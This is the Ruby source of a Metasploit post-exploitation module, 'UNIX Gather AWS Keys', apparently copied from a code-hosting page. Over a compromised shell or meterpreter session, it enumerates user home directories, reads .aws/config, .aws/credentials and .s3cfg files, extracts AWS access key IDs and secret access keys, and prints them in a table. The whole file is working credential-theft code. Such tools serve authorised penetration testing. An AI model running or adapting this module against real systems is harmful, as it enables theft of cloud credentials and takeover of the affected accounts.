metasploit-framework/modules/post/multi/gather/aws_keys.rb

91 lines
2.7 KiB
Ruby
Raw Normal View History

##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
class MetasploitModule < Msf::Post
include Msf::Post::File
include Msf::Post::Unix
AWS_KEY = 'AWS_ACCESS_KEY_ID'
AWS_SECRET = 'AWS_SECRET_ACCESS_KEY'
S3_KEY = 'access_key'
S3_SECRET = 'secret_key'
def initialize(info = {})
super(
update_info(
info,
'Name' => 'UNIX Gather AWS Keys',
'Description' => %q(
This module will attempt to read AWS configuration files (.aws/config, .aws//credentials and .s3cfg)
),
'License' => MSF_LICENSE,
'Author' => [ 'Jon Hart <jon_hart[at]rapid7.com>' ],
'SessionTypes' => %w(shell meterpreter)
)
)
end
def get_aws_keys(config_file)
keys_data = []
config_s = cmd_exec("test -r #{config_file} && cat #{config_file}")
return keys_data if config_s.empty?
aws_config = Rex::Parser::Ini.from_s(config_s)
aws_config.each_key do |profile|
# XXX: Ini assumes anything on either side of the = is the key and value
# including spaces, so we need to fix this
profile_config = Hash[aws_config[profile].map { |k, v| [ k.strip, v.strip ] }]
aws_access_key_id = nil
aws_secret_access_key = nil
profile_config.each_pair do |key, value|
if key == AWS_KEY.downcase || key == S3_KEY
aws_access_key_id = value
end
if key == AWS_SECRET.downcase || key == S3_SECRET
aws_secret_access_key = value
end
end
next unless aws_access_key_id || aws_secret_access_key
keys_data << [ config_file, aws_access_key_id, aws_secret_access_key, profile ]
end
keys_data
end
def get_keys_from_files
keys_data = []
vprint_status("Enumerating possible user AWS config files")
# build up a list of aws configuration files to read, including the
# configuration files that may exist (rare)
enum_user_directories.map do |user_dir|
vprint_status("Looking for AWS config/credentials files in #{user_dir}")
%w(.aws/config .aws/credentials .s3cfg).each do |possible_key_file|
this_key_data = get_aws_keys(::File.join(user_dir, possible_key_file))
next if this_key_data.empty?
keys_data <<= this_key_data.flatten
end
end
keys_data
end
def run
keys_data = get_keys_from_files
return if keys_data.empty?
keys_table = Rex::Text::Table.new(
'Header' => "AWS Key Data",
'Columns' => [ 'Source', AWS_KEY, AWS_SECRET, 'Profile' ]
)
keys_data.each do |key_data|
keys_table << key_data
end
print_line(keys_table.to_s)
end
end